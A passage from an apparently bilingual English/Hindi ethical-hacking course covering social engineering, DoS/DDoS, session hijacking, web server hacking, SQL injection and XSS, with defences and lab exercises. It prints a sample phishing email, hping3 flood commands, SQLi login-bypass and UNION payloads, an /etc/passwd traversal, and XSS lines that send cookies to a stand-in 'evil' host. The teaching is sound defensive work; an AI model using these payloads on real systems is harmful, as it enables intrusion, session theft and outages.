    5. Action           →  Malware, access, payment, data

    Psychological triggers:

      Authority    → "This is your CEO"
      Urgency      → "Within 1 hour"
      Fear         → "Legal action"
      Curiosity    → "See attached salary list"
      Likeability  → Friendly, helpful voice

Conclusion: Social engineering proves that security is as much about people as technology. Technical defences are necessary but insufficient if users can be tricked. Successful programmes combine awareness training, phishing simulations, multi-factor authentication, email filtering, physical controls, and a culture where employees feel safe reporting mistakes. For testers, social engineering is executed strictly within a signed scope, with clear rules about what data may be extracted and how staff will be protected from embarrassment.
Exercise:
1. Craft a phishing email for a fictional company (for awareness training only).
2. List three psychological triggers and how they are used.
3. Explain the difference between phishing and spear phishing.
4. Describe a physical pretexting scenario using tailgating.
5. Design a security awareness program to counter vishing.

हिंदी (सरल)

समस्या: आज technical controls strong हैं। Firewalls, EDR, MFA और encryption कई direct attacks impractical बना देते हैं। सबसे कमज़ोर कड़ी अक्सर people हैं: वे links click करते हैं, passwords reuse करते हैं, doors hold करते हैं, authority पर trust करते हैं। Attackers human psychology exploit करके हर technical control bypass करते हैं। Organisations को यह channel test करना चाहिए, सिर्फ networks नहीं।
परिभाषा: Social engineering psychological manipulation का use करके लोगों को information reveal करने, access देने या security compromise करने वाले actions करने के लिए बहकाना है। यह machine की जगह human को hack करना है।

उदाहरण: Common pretexts:

Phishing email:
  From: it-support@company.com (spoofed)
  Subject: Urgent: password 1 घंटे में expire
  Body: Reset के लिए यहाँ click: http://evil-login.com
  Attachment: Invoice.pdf.exe

Vishing (voice):
  "यह आपका bank है। Fraud detected। मुझे OTP बताएं।"

Pretexting:
  "मैं नया employee हूँ, badge खो गया, door hold करेंगे?"

Baiting:
  Parking lot में USB drive label "Payroll Q4"।

Tailgating:
  Employee के पीछे secure door से अंदर।

प्रकार:

Type	Channel	Example
Phishing	Email	Mass credential theft
Spear phishing	Email (targeted)	CEO-to-CFO wire request
Whaling	Executives को email	Fake board memo
Vishing	Voice call	Fake bank, OTP harvest
Smishing	SMS	Package delivery link
Pretexting	Any	Fabricated scenario
Baiting	Physical / digital	Infected USB, free download
Tailgating	Physical	Secure door से अंदर
Quid pro quo	Any	"PC ठीक कर दूँगा अगर…"
Watering hole	Website	Targets की frequent site compromise

लाभ (attacker perspective):
- Technical controls bypass।
- सस्ता और scalable (mass phishing)।
- Current events के साथ बहुत effective।
- Malware और lateral movement के लिए initial access।
- Trust, urgency, authority, curiosity exploit।
नुकसान (attacker perspective):
- Good social skills और research चाहिए।
- Email filters और awareness training success घटाते हैं।
- MFA credential-only compromises limit।
- Physical settings में risky (cameras, guards)।
- Success user behaviour पर depend।
विशेषताएँ:
- Psychological principles: authority, urgency, scarcity, social proof, reciprocity, likeability, fear।
- Pretexting: Believable story या role।
- OSINT-driven: Emails, org chart, events।
- Multi-channel: Email → SMS → call → in-person।
- Technical के साथ blend: Phishing malware या credential pages deliver करती है।

आरेख: Social engineering kill chain

    1. Reconnaissance   →  OSINT: emails, roles, events
             │
             ▼
    2. Pretext          →  Believable story
             │
             ▼
    3. Delivery         →  Email / call / SMS / USB / door
             │
             ▼
    4. Exploitation     →  Click, credential entry, badge
             │
             ▼
    5. Action           →  Malware, access, payment, data

    Psychological triggers:

      Authority    → "यह CEO हैं"
      Urgency      → "1 घंटे में"
      Fear         → "Legal action"
      Curiosity    → "Salary list देखें"
      Likeability  → Friendly voice

निष्कर्ष: Social engineering साबित करता है कि security उतनी ही लोगों के बारे में है जितनी technology के। Technical defences ज़रूरी हैं पर अपर्याप्त अगर users को बहकाया जा सके। Successful programmes में awareness training, phishing simulations, multi-factor authentication, email filtering, physical controls और ऐसी culture जहाँ employees mistakes report करने में safe महसूस करें, combine होते हैं। Testers के लिए social engineering strictly signed scope में, clear rules के साथ होती है — कौन सा data extract हो सकता है और staff को embarrassment से कैसे बचाया जाएगा।
अभ्यास:
1. Fictional company के लिए phishing email बनाइए (सिर्फ awareness training के लिए)।
2. तीन psychological triggers और उनका use list कीजिए।
3. Phishing और spear phishing का फर्क समझाइए।
4. Tailgating वाला physical pretexting scenario describe कीजिए।
5. Vishing से बचाव के लिए security awareness program design कीजिए।

11. Denial of Service (DoS / DDoS)

English

Problem: Some services must be available 24/7: e-commerce, banking, DNS, government portals. Attackers don't always need to steal data — sometimes they just need to make the service unusable. Downtime causes direct financial loss, customer dissatisfaction, and reputational damage. Even a small botnet can flood a server that lacks proper protection.
Definition: Denial of Service (DoS) is an attack that makes a service, network, or resource unavailable to its legitimate users. When the attack is launched from many distributed systems (a botnet), it is called Distributed DoS (DDoS).

Example: Common DoS / DDoS techniques:

# Volumetric
hping3 -S --flood -p 80 target.com       # SYN flood
hping3 --udp -p 53 --flood target.com    # UDP flood
hping3 --icmp --flood target.com         # ICMP flood

# Application-layer (Layer 7)
ab -n 100000 -c 1000 http://target.com/  # HTTP flood
# Slowloris: many slow HTTP connections
slowloris target.com

# Reflective amplification
# DNS amplification (small query → big response)
# NTP monlist, Memcached, SSDP

# Botnet-based
# Mirai (IoT botnet) — DDoS at 1 Tbps+

Types:

Type	Mechanism	Examples
Volumetric	Flood bandwidth	UDP, ICMP flood
Protocol	Exhaust resources (state tables)	SYN flood, Ping of Death
Application-layer	Exhaust server logic	HTTP flood, Slowloris
Reflection / Amplification	Small request, big response to victim	DNS, NTP, Memcached, SSDP
Distributed (DDoS)	Many sources (botnet)	Mirai, IoT botnets
Permanent DoS (PDoS)	Brick firmware / hardware	Firmware corruption

Advantages (attacker perspective):
- Downtime is visible and damaging.
- Amplification is very efficient (1×→100×).
- Easy to rent DDoS-as-a-Service.
- Hard to attribute with reflection.
- Can be used as smokescreen for other attacks.
- Compels ransom in some cases.
Disadvantages (attacker perspective):
- CDNs and cloud scrubbing absorb most floods.
- Rate limits and WAFs block application-layer floods.
- ISP upstream filtering reduces effect.
- Botnets can be taken down by law enforcement.
- Volumetric attacks need massive resources.
Characteristics:
- Goal: Availability, not confidentiality or integrity.
- Layers: L3/L4 (network/transport) and L7 (application).
- Amplification factor: Memcached up to 50,000×.
- Botnets: IoT devices with default passwords are prime targets.
- Mitigation: Rate limiting, scrubbing centres, Anycast, WAF, CAPTCHAs.

Diagram: SYN flood and amplification

    SYN flood:

      Attacker → SYNs with spoofed source → Target
      Target replies SYN/ACK to spoofed IPs
      Half-open connections fill the backlog
      Legitimate users cannot connect

    Amplification (DNS):

      Attacker spoofs victim's IP → open DNS resolver
      Sends small query "ANY isc.org"
      Resolver replies (large) → victim
      1× request → 50× response to victim

    Mitigation layers:

      Edge   → Anycast, CDN, scrubbing centre
      Network→ ACLs, rate limiting, SYN cookies
      App    → WAF, CAPTCHA, caching

Conclusion: DoS and DDoS attacks target availability, the third pillar of security. Volumetric floods are the easiest to detect but need big bandwidth; application-layer attacks are stealthier and abuse legitimate-looking traffic. Organisations defend with a layered approach: CDN and Anycast for edge absorption, rate limiting and SYN cookies at the network, WAF and CAPTCHA at the application, and upstream scrubbing with their ISP. Security teams test their own resilience with authorised DoS simulations during maintenance windows.
Exercise:
1. Explain SYN flood with a packet flow diagram.
2. Describe DNS amplification and its amplification factor.
3. Compare volumetric and application-layer DoS.
4. List three CDN/WAF features that mitigate DDoS.
5. Research Mirai and how it recruited IoT devices.

हिंदी (सरल)

समस्या: कुछ services 24/7 available होनी चाहिए: e-commerce, banking, DNS, government portals। Attackers को हमेशा data चुराने की ज़रूरत नहीं — कभी-कभी service को unusable बना देना ही काफी है। Downtime से सीधा financial loss, customer dissatisfaction और reputational damage होता है। छोटा botnet भी उस server को flood कर सकता है जिसके पास proper protection न हो।
परिभाषा: Denial of Service (DoS) वह attack है जो service, network या resource को legitimate users के लिए unavailable बना देता है। जब attack कई distributed systems (botnet) से launch होती है, तो इसे Distributed DoS (DDoS) कहते हैं।

उदाहरण: Common DoS / DDoS techniques:

# Volumetric
hping3 -S --flood -p 80 target.com       # SYN flood
hping3 --udp -p 53 --flood target.com    # UDP flood
hping3 --icmp --flood target.com         # ICMP flood

# Application-layer (Layer 7)
ab -n 100000 -c 1000 http://target.com/  # HTTP flood
# Slowloris: कई slow HTTP connections
slowloris target.com

# Reflective amplification
# DNS amplification (small query → big response)
# NTP monlist, Memcached, SSDP

# Botnet-based
# Mirai (IoT botnet) — DDoS 1 Tbps+

प्रकार:

Type	Mechanism	Examples
Volumetric	Bandwidth flood	UDP, ICMP flood
Protocol	Resources exhaust (state tables)	SYN flood, Ping of Death
Application-layer	Server logic exhaust	HTTP flood, Slowloris
Reflection / Amplification	छोटा request, बड़ा response victim को	DNS, NTP, Memcached, SSDP
Distributed (DDoS)	कई sources (botnet)	Mirai, IoT botnets
Permanent DoS (PDoS)	Firmware / hardware brick	Firmware corruption

लाभ (attacker perspective):
- Downtime visible और damaging।
- Amplification बहुत efficient (1×→100×)।
- DDoS-as-a-Service rent करना आसान।
- Reflection के साथ attribute करना कठिन।
- दूसरे attacks के smokescreen के रूप में।
- कुछ cases में ransom compel।
नुकसान (attacker perspective):
- CDNs और cloud scrubbing ज़्यादातर floods absorb।
- Rate limits और WAFs application-layer floods block।
- ISP upstream filtering effect घटाती है।
- Botnets law enforcement take down।
- Volumetric attacks को massive resources चाहिए।
विशेषताएँ:
- Goal: Availability, confidentiality या integrity नहीं।
- Layers: L3/L4 (network/transport) और L7 (application)।
- Amplification factor: Memcached तक 50,000×।
- Botnets: Default passwords वाले IoT devices prime targets।
- Mitigation: Rate limiting, scrubbing centres, Anycast, WAF, CAPTCHAs।

आरेख: SYN flood और amplification

    SYN flood:

      Attacker → spoofed source वाले SYNs → Target
      Target spoofed IPs को SYN/ACK reply
      Half-open connections backlog भरें
      Legitimate users connect नहीं कर पाएँ

    Amplification (DNS):

      Attacker victim का IP spoof → open DNS resolver
      छोटी query "ANY isc.org" भेजे
      Resolver बड़ा reply → victim
      1× request → 50× response victim को

    Mitigation layers:

      Edge   → Anycast, CDN, scrubbing centre
      Network→ ACLs, rate limiting, SYN cookies
      App    → WAF, CAPTCHA, caching

निष्कर्ष: DoS और DDoS attacks availability को target करते हैं, security का तीसरा pillar। Volumetric floods detect करना सबसे आसान पर बड़ी bandwidth चाहिए; application-layer attacks stealthier और legitimate दिखने वाले traffic का abuse। Organisations layered defence लगाते हैं: edge absorption के लिए CDN और Anycast, network पर rate limiting और SYN cookies, application पर WAF और CAPTCHA, और ISP के साथ upstream scrubbing। Security teams maintenance windows में authorised DoS simulations से अपनी resilience test करती हैं।
अभ्यास:
1. SYN flood packet flow diagram के साथ समझाइए।
2. DNS amplification और उसका amplification factor describe कीजिए।
3. Volumetric और application-layer DoS की तुलना कीजिए।
4. DDoS mitigate करने वाली तीन CDN/WAF features list कीजिए।
5. Mirai पर research कीजिए और IoT devices कैसे recruit हुए बताइए।

12. Session Hijacking

English

Problem: Web sessions are maintained by tokens (cookies, session IDs). If an attacker can steal or predict a token, they can impersonate the user without needing the password. Sessions are the "trusted" phase — hijacking them bypasses authentication entirely and grants the attacker everything the user can do.
Definition: Session hijacking is the exploitation of a valid session token to gain unauthorised access to a system or application as an authenticated user. It can happen at the network level (TCP) or the application level (HTTP cookies).

Example: Common techniques:

# 1. Steal session cookie over HTTP (no HTTPS)
# Wireshark shows: Cookie: PHPSESSID=abc123...

# 2. Cross-site scripting (XSS) stealing cookie
<script>new Image().src='http://evil/?c='+document.cookie</script>

# 3. Session fixation
Attacker sets SESSIONID=known before login
Victim logs in using that ID
Attacker reuses same ID → hijacked

# 4. Cookie tampering (predictable IDs)
# Sequential session IDs: 1001, 1002, 1003 ...
# Attacker guesses the next one

# 5. Tool: Cookie Editor, Burp Suite, OWASP ZAP
# Import stolen cookie → access as victim

Types:

Type	Level	Description
TCP session hijacking	Network	Predict/steal TCP sequence numbers; inject packets.
Application / HTTP hijacking	App	Steal or forge session cookies / tokens.
Session fixation	App	Force a known session ID on the victim.
Session sidejacking	Network	Sniff cookie over unencrypted Wi-Fi.
Cross-site scripting	App	JS steals cookies; bypasses HttpOnly if not set.
Cross-site request forgery	App	Victim's browser makes authenticated requests unknowingly.
Man-in-the-browser	Client	Malware in the browser rewrites transactions.

Advantages (attacker perspective):
- Bypasses authentication entirely.
- Attacker inherits all user privileges.
- No password cracking needed.
- Difficult to distinguish from legitimate traffic.
- Works even with strong passwords.
Disadvantages (attacker perspective):
- HTTPS with HSTS blocks sniffing.
- HttpOnly cookies block XSS theft.
- Secure flag prevents sending over HTTP.
- Session rotation on login defeats fixation.
- Short session timeout reduces window.
- Anomaly detection flags changed IP / user-agent.
Characteristics:
- Token-centric: Security = secrecy of the token.
- Stateless vs stateful: JWT vs server-side sessions.
- HttpOnly, Secure, SameSite: Cookie flags that harden sessions.
- Token rotation: New token on login, privilege change, timeout.
- Binding: Tie session to IP/fingerprint (risky on mobile).

Diagram: Session fixation and cookie theft

    Session fixation:

      Attacker  ─── SESSIONID=known ──▶  Victim browser
      Victim  ─── login with known ID ──▶  Server
      Attacker  ─── uses same ID ──────▶  Server (as victim!)

    Cookie theft over HTTP:

      Victim ─── HTTP request + Cookie ──▶ Server
                       │
                       ▼
                  Attacker sniffs (Wi-Fi MITM)

    Defences:

      HTTPS + HSTS           → blocks sniffing
      HttpOnly + Secure      → blocks JS theft / HTTP send
      SameSite=Lax/Strict    → blocks CSRF
      Rotate session on login→ blocks fixation
      Short timeouts         → limits window

Conclusion: Session hijacking exploits trust — once you have the token, you are the user. The universal fix is HTTPS everywhere with HSTS, combined with strong cookie attributes (HttpOnly, Secure, SameSite), session rotation on login, short idle timeouts, and anomaly detection. Application-layer hijacking through XSS is the most common path; blocking XSS (output encoding, CSP) removes it. For testers, session analysis (predictability, fixation, cookie flags) is a core step of any web application assessment.
Exercise:
1. Explain session fixation with a step-by-step diagram.
2. Show how XSS steals cookies and how HttpOnly stops it.
3. Compare TCP session hijacking with HTTP session hijacking.
4. List the three cookie flags and what each defends against.
5. Design a session scheme that resists sidejacking on public Wi-Fi.

हिंदी (सरल)

समस्या: Web sessions tokens (cookies, session IDs) से maintain होती हैं। अगर attacker token चुरा या predict कर सके, वह password के बिना user impersonate कर सकता है। Sessions "trusted" phase हैं — उन्हें hijack करने से authentication पूरी तरह bypass हो जाता है और attacker को user के सारे privileges मिल जाते हैं।
परिभाषा: Session hijacking valid session token का exploitation है ताकि authenticated user की तरह system या application में unauthorised access मिले। यह network level (TCP) या application level (HTTP cookies) पर हो सकता है।

उदाहरण: Common techniques:

# 1. HTTP पर session cookie चुराना (HTTPS नहीं)
# Wireshark दिखाता है: Cookie: PHPSESSID=abc123...

# 2. Cross-site scripting (XSS) से cookie चोरी
<script>new Image().src='http://evil/?c='+document.cookie</script>

# 3. Session fixation
Attacker login से पहले SESSIONID=known set करे
Victim उसी ID से login करे
Attacker उसी ID को reuse → hijacked

# 4. Cookie tampering (predictable IDs)
# Sequential session IDs: 1001, 1002, 1003 ...
# Attacker अगला guess करे

# 5. Tool: Cookie Editor, Burp Suite, OWASP ZAP
# Stolen cookie import → victim की तरह access

प्रकार:

Type	Level	विवरण
TCP session hijacking	Network	TCP sequence numbers predict/steal; packets inject।
Application / HTTP hijacking	App	Session cookies / tokens चुराना या forge।
Session fixation	App	Victim पर known session ID force।
Session sidejacking	Network	Unencrypted Wi-Fi पर cookie sniff।
Cross-site scripting	App	JS cookies चुराए; HttpOnly न हो तो bypass।
Cross-site request forgery	App	Victim का browser अनजाने authenticated requests।
Man-in-the-browser	Client	Browser में malware transactions rewrite।

लाभ (attacker perspective):
- Authentication पूरी तरह bypass।
- User के सारे privileges inherit।
- Password cracking की ज़रूरत नहीं।
- Legitimate traffic से फर्क करना कठिन।
- Strong passwords के साथ भी काम करता है।
नुकसान (attacker perspective):
- HTTPS + HSTS sniffing block।
- HttpOnly cookies XSS theft block।
- Secure flag HTTP पर sending रोकता है।
- Login पर session rotation fixation defeat।
- Short session timeout window घटाता है।
- Anomaly detection changed IP / user-agent flag।
विशेषताएँ:
- Token-centric: Security = token की secrecy।
- Stateless vs stateful: JWT vs server-side sessions।
- HttpOnly, Secure, SameSite: Cookie flags जो sessions harden करते हैं।
- Token rotation: Login, privilege change, timeout पर नया token।
- Binding: Session को IP/fingerprint से tie (mobile पर risky)।

आरेख: Session fixation और cookie theft

    Session fixation:

      Attacker  ─── SESSIONID=known ──▶  Victim browser
      Victim  ─── known ID से login ──▶  Server
      Attacker  ─── वही ID use ──────▶  Server (victim की तरह!)

    HTTP पर cookie theft:

      Victim ─── HTTP request + Cookie ──▶ Server
                       │
                       ▼
                  Attacker sniff (Wi-Fi MITM)

    Defences:

      HTTPS + HSTS           → sniffing block
      HttpOnly + Secure      → JS theft / HTTP send block
      SameSite=Lax/Strict    → CSRF block
      Login पर session rotate → fixation block
      Short timeouts         → window limit

निष्कर्ष: Session hijacking trust का exploit है — token मिल जाए तो आप ही user हैं। Universal fix: HTTPS everywhere with HSTS, साथ में strong cookie attributes (HttpOnly, Secure, SameSite), login पर session rotation, short idle timeouts, और anomaly detection। XSS से application-layer hijacking सबसे common path है; XSS block (output encoding, CSP) इसे हटा देता है। Testers के लिए session analysis (predictability, fixation, cookie flags) हर web application assessment का core step है।
अभ्यास:
1. Session fixation step-by-step diagram के साथ समझाइए।
2. XSS cookies कैसे चुराता है और HttpOnly कैसे रोकता है दिखाइए।
3. TCP session hijacking और HTTP session hijacking compare कीजिए।
4. तीन cookie flags और हर एक किससे बचाता है list कीजिए।
5. Public Wi-Fi पर sidejacking resist करने वाला session scheme design कीजिए।

13. Web Server & Web Application Hacking

English

Problem: Web servers and web applications are exposed to the entire internet. Attackers do not need network access — they can attack through port 443. Common issues include misconfigured servers (directory listing, default pages), vulnerable CMS plugins, weak authentication, and application flaws (injection, broken access control). Web hacking is often the easiest initial foothold against an organisation.
Definition: Web server hacking targets the server software itself (Apache, Nginx, IIS) and its configuration. Web application hacking targets the application logic running on it — authentication, authorization, input handling, business rules. OWASP Top 10 lists the most critical web risks.

Example: Web enumeration and exploitation:

# Technology detection
whatweb http://target
wappalyzer (browser extension)

# Directory brute force
gobuster dir -u http://target -w wordlist.txt

# Server misconfig checks
nikto -h http://target

# WordPress
wpscan --url http://target --enumerate vp,vt,u

# Common attack paths
/phpMyAdmin/        (default install, weak creds)
/admin/             (default admin panel)
/backup/            (exposed backups)
/.git/              (source code leak)
robots.txt          (reveals hidden paths)

# LFI / RFI
http://target/?page=../../../../etc/passwd

Types:

A. Web server issues:

Issue	Impact
Default credentials	Full admin access
Directory listing	File disclosure
Outdated server version	Known CVEs (e.g., Apache 2.4.49 path traversal)
Misconfigured SSL/TLS	Downgrade attacks, weak ciphers
Exposed admin panels	Brute-force targets
Verbose error pages	Info leakage

B. Web application issues (OWASP Top 10):

A01 Broken Access Control – IDOR, missing authorization.
A02 Cryptographic Failures – plaintext, weak hashing.
A03 Injection – SQLi, command injection, LDAP.
A04 Insecure Design – business logic flaws.
A05 Security Misconfiguration – defaults, verbose errors.
A06 Vulnerable Components – outdated libraries.
A07 Authentication Failures – weak passwords, session issues.
A08 Data Integrity Failures – insecure deserialization.
A09 Logging Failures – no visibility.
A10 SSRF – server-side request forgery.

Advantages (attacker perspective):
- Exposed over the internet (no network access needed).
- Large attack surface (many endpoints, parameters).
- Common frameworks have known vulnerabilities.
- Business logic flaws are hard to detect by scanners.
- Initial foothold on internal network.
Disadvantages (attacker perspective):
- WAFs block common patterns.
- Rate limiting and CAPTCHA slow enumeration.
- Logging and SIEM alert on anomalies.
- Well-designed frameworks handle input safely.
- Modern AuthN/AuthZ libraries limit session attacks.
Characteristics:
- Enumerate first: Discover endpoints, technologies, and parameters.
- Layered attacks: Server, framework, application, business logic.
- Client-side matters: XSS, CSRF, clickjacking.
- APIs are a big surface: REST, GraphQL often misconfigured.
- Common toolset: Burp Suite, ZAP, ffuf, wpscan, nikto, sqlmap.

Diagram: Web attack surface

    Attacker
       │
       ▼
    ┌──────────────────────────────────┐
    │ Web server (Apache/Nginx/IIS)    │
    │  • default pages                 │
    │  • outdated version              │
    │  • TLS config                    │
    └──────────────────────────────────┘
       │
       ▼
    ┌──────────────────────────────────┐
    │ Framework (Laravel, Django, ...) │
    │  • vulnerable plugins            │
    │  • debug mode                    │
    └──────────────────────────────────┘
       │
       ▼
    ┌──────────────────────────────────┐
    │ Application                      │
    │  • Authentication                │
    │  • Authorization                 │
    │  • Input handling (SQLi, XSS)    │
    │  • Business logic flaws          │
    └──────────────────────────────────┘
       │
       ▼
    ┌──────────────────────────────────┐
    │ Database / Backend               │
    └──────────────────────────────────┘

Conclusion: Web hacking remains the most common path into an organisation because web applications are internet-facing, complex, and fast-changing. A structured approach — enumerate, map endpoints, test authentication and authorization, hunt input flaws, review business logic — finds issues that automated scanners miss. Defenders respond with WAFs, secure coding, dependency scanning, least privilege, and logging. For testers, the OWASP Testing Guide and Top 10 remain the definitive checklist.
Exercise:
1. Run Nikto against a lab web server and list findings.
2. Enumerate directories with gobuster and identify hidden paths.
3. Enumerate WordPress users and plugins with wpscan.
4. Explain IDOR with an example from a bug bounty report.
5. Map any three OWASP Top 10 items to real-world attacks.

हिंदी (सरल)

समस्या: Web servers और web applications पूरे internet पर exposed हैं। Attackers को network access चाहिए ही नहीं — वे port 443 से attack कर सकते हैं। Common issues: misconfigured servers (directory listing, default pages), vulnerable CMS plugins, weak authentication, और application flaws (injection, broken access control)। Web hacking अक्सर organisation के लिए सबसे आसान initial foothold है।
परिभाषा: Web server hacking server software (Apache, Nginx, IIS) और उसकी configuration को target करता है। Web application hacking उस पर चलने वाले application logic — authentication, authorization, input handling, business rules — को target करता है। OWASP Top 10 सबसे critical web risks list करता है।

उदाहरण: Web enumeration और exploitation:

# Technology detection
whatweb http://target
wappalyzer (browser extension)

# Directory brute force
gobuster dir -u http://target -w wordlist.txt

# Server misconfig checks
nikto -h http://target

# WordPress
wpscan --url http://target --enumerate vp,vt,u

# Common attack paths
/phpMyAdmin/        (default install, weak creds)
/admin/             (default admin panel)
/backup/            (exposed backups)
/.git/              (source code leak)
robots.txt          (hidden paths)

# LFI / RFI
http://target/?page=../../../../etc/passwd

प्रकार:

A. Web server issues:

Issue	Impact
Default credentials	Full admin access
Directory listing	File disclosure
Outdated server version	Known CVEs (जैसे Apache 2.4.49 path traversal)
Misconfigured SSL/TLS	Downgrade attacks, weak ciphers
Exposed admin panels	Brute-force targets
Verbose error pages	Info leakage

B. Web application issues (OWASP Top 10):

A01 Broken Access Control – IDOR, missing authorization।
A02 Cryptographic Failures – plaintext, weak hashing।
A03 Injection – SQLi, command injection, LDAP।
A04 Insecure Design – business logic flaws।
A05 Security Misconfiguration – defaults, verbose errors।
A06 Vulnerable Components – outdated libraries।
A07 Authentication Failures – weak passwords, session issues।
A08 Data Integrity Failures – insecure deserialization।
A09 Logging Failures – कोई visibility नहीं।
A10 SSRF – server-side request forgery।

लाभ (attacker perspective):
- Internet पर exposed (network access नहीं चाहिए)।
- बड़ा attack surface (कई endpoints, parameters)।
- Common frameworks में known vulnerabilities।
- Business logic flaws scanners से detect मुश्किल।
- Internal network पर initial foothold।
नुकसान (attacker perspective):
- WAFs common patterns block।
- Rate limiting और CAPTCHA enumeration slow।
- Logging और SIEM anomalies alert।
- Well-designed frameworks input safely handle।
- Modern AuthN/AuthZ libraries session attacks limit।
विशेषताएँ:
- Pehle enumerate: Endpoints, technologies, parameters discover।
- Layered attacks: Server, framework, application, business logic।
- Client-side matters: XSS, CSRF, clickjacking।
- APIs बड़ा surface: REST, GraphQL अक्सर misconfigured।
- Common toolset: Burp Suite, ZAP, ffuf, wpscan, nikto, sqlmap।

आरेख: Web attack surface

    Attacker
       │
       ▼
    ┌──────────────────────────────────┐
    │ Web server (Apache/Nginx/IIS)    │
    │  • default pages                 │
    │  • outdated version              │
    │  • TLS config                    │
    └──────────────────────────────────┘
       │
       ▼
    ┌──────────────────────────────────┐
    │ Framework (Laravel, Django, ...) │
    │  • vulnerable plugins            │
    │  • debug mode                    │
    └──────────────────────────────────┘
       │
       ▼
    ┌──────────────────────────────────┐
    │ Application                      │
    │  • Authentication                │
    │  • Authorization                 │
    │  • Input handling (SQLi, XSS)    │
    │  • Business logic flaws          │
    └──────────────────────────────────┘
       │
       ▼
    ┌──────────────────────────────────┐
    │ Database / Backend               │
    └──────────────────────────────────┘

निष्कर्ष: Web hacking organisation में घुसने का सबसे common path बना हुआ है क्योंकि web applications internet-facing, complex और fast-changing हैं। Structured approach — enumerate, endpoints map, authentication और authorization test, input flaws hunt, business logic review — वे issues पकड़ता है जो automated scanners miss करते हैं। Defenders WAFs, secure coding, dependency scanning, least privilege और logging से respond करते हैं। Testers के लिए OWASP Testing Guide और Top 10 definitive checklist हैं।
अभ्यास:
1. Lab web server पर Nikto चलाकर findings list कीजिए।
2. gobuster से directories enumerate करके hidden paths identify कीजिए।
3. wpscan से WordPress users और plugins enumerate कीजिए।
4. Bug bounty report के उदाहरण के साथ IDOR समझाइए।
5. किन्हीं तीन OWASP Top 10 items को real-world attacks से map कीजिए।

14. SQL Injection & Cross-Site Scripting (XSS)

English

Problem: Web applications pass user input to databases and browsers. If input is not properly handled, an attacker can change the meaning of the SQL query (SQLi) or execute their own JavaScript in a victim's browser (XSS). These two flaws have topped OWASP rankings for decades because they are easy to introduce and devastating when exploited.
Definition: SQL Injection (SQLi) is a code-injection vulnerability where attacker-controlled input alters the SQL query executed by the application. Cross-Site Scripting (XSS) is a code-injection vulnerability where attacker-controlled input is reflected or stored in a page and executed as JavaScript in another user's browser.

Example: Classic SQLi and XSS:

# SQL Injection — Login bypass
Username: admin' OR '1'='1'--
Password: anything

Query becomes:
SELECT * FROM users
WHERE username='admin' OR '1'='1'--' AND password='...';

# SQL Injection — UNION-based data extraction
' UNION SELECT username, password FROM users--

# SQL Injection — Blind boolean
' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a'--

# XSS — Reflected
https://target/search?q=<script>alert(document.cookie)</script>

# XSS — Stored
Comment: <script>fetch('http://evil/?c='+document.cookie)</script>

# XSS — DOM-based
location.hash → innerHTML

Types:

A. SQLi types:

Type	Description
In-band (Classic)	Results returned in the same channel (UNION, error-based).
Blind – Boolean	True/false responses reveal data bit by bit.
Blind – Time-based	Delay in response reveals info.
Out-of-band	Data exfiltrated via DNS/HTTP to attacker.
Second-order	Payload stored then executed later.

B. XSS types:

Type	Where Payload Lives	Persists?
Reflected	URL / request → response	No
Stored	Database → page for all visitors	Yes
DOM-based	Client-side JS sinks (innerHTML)	No (in DOM)
Mutation XSS (mXSS)	After browser re-parses HTML	Varies

C. Defences: Parameterized queries / prepared statements, stored procedures, input validation, least-privilege DB accounts, output encoding, HTML sanitisation (DOMPurify), Content Security Policy (CSP), HttpOnly cookies.

Advantages (attacker perspective):
- SQLi can dump the entire database.
- Bypasses authentication easily.
- Can lead to remote code execution (via xp_cmdshell, INTO OUTFILE).
- XSS steals cookies, sessions, and credentials.
- Stored XSS spreads to every visitor.
- Easy to find with automated tools.
Disadvantages (attacker perspective):
- WAFs block common SQLi/XSS payloads.
- Modern ORMs use prepared statements by default.
- CSP blocks inline scripts.
- HttpOnly cookies prevent cookie theft.
- Output encoding neutralises payloads.
- Input validation rejects malicious characters.
Characteristics:
- Root cause: Untrusted data mixed with code.
- Fix: Separate data from code (parameterize / encode).
- Layered defence: Validation + parameterization + encoding + CSP.
- SQLi is server-side: Database is the victim.
- XSS is client-side: Other users' browsers are the victims.

Diagram: SQLi and XSS flows

    SQL Injection:

      User input  ──▶ App (concatenates) ──▶ DB
      "admin' OR 1=1--" ──▶ SELECT ... WHERE name='admin' OR 1=1--'
                              │
                              ▼
                        Returns all rows → login bypass

    XSS:

      Attacker  ──▶ Stores payload ──▶ Server DB
                                          │
                                          ▼
      Victim browser ─── loads page ───▶ JS executes
                                          │
                                          ▼
                         Cookie / session exfiltrated

    Defence mapping:

      SQLi → parameterized queries + least privilege DB
      XSS  → output encoding + sanitisation + CSP

Conclusion: SQLi and XSS remain among the top vulnerabilities because they are easy to introduce and devastating when exploited. Both stem from mixing untrusted data with code. The fix is conceptually simple: separate data from code. For SQLi, use parameterized queries, least-privilege DB users, and validation. For XSS, output-encode based on context, sanitise HTML, use CSP, and set HttpOnly cookies. For testers, these are the first things to check in any web application assessment; automated tools like sqlmap and manual testing with Burp Suite are standard.
Exercise:
1. Demonstrate a login bypass via SQLi in a vulnerable lab (DVWA or Juice Shop).
2. Extract data with UNION-based SQLi and explain column matching.
3. Explain blind time-based SQLi with a real payload.
4. Demonstrate reflected XSS and how output encoding prevents it.
5. Design CSP rules that block inline scripts.

हिंदी (सरल)

समस्या: Web applications user input को databases और browsers तक भेजती हैं। अगर input properly handle न हो, attacker SQL query का मतलब बदल सकता है (SQLi) या victim के browser में अपनी JavaScript चला सकता है (XSS)। ये दो flaws दशकों से OWASP rankings में ऊपर हैं क्योंकि ये introduce करना आसान और exploit करना devastating है।
परिभाषा: SQL Injection (SQLi) एक code-injection vulnerability है जहाँ attacker-controlled input application द्वारा execute होने वाली SQL query बदल देता है। Cross-Site Scripting (XSS) एक code-injection vulnerability है जहाँ attacker-controlled input page में reflect या store होकर दूसरे user के browser में JavaScript की तरह execute होता है।

उदाहरण: Classic SQLi और XSS:

# SQL Injection — Login bypass
Username: admin' OR '1'='1'--
Password: कुछ भी

Query बनती है:
SELECT * FROM users
WHERE username='admin' OR '1'='1'--' AND password='...';

# SQL Injection — UNION-based data extraction
' UNION SELECT username, password FROM users--

# SQL Injection — Blind boolean
' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a'--

# XSS — Reflected
https://target/search?q=<script>alert(document.cookie)</script>

# XSS — Stored
Comment: <script>fetch('http://evil/?c='+document.cookie)</script>

# XSS — DOM-based
location.hash → innerHTML

प्रकार:

A. SQLi types:

Type	विवरण
In-band (Classic)	Results उसी channel में (UNION, error-based)।
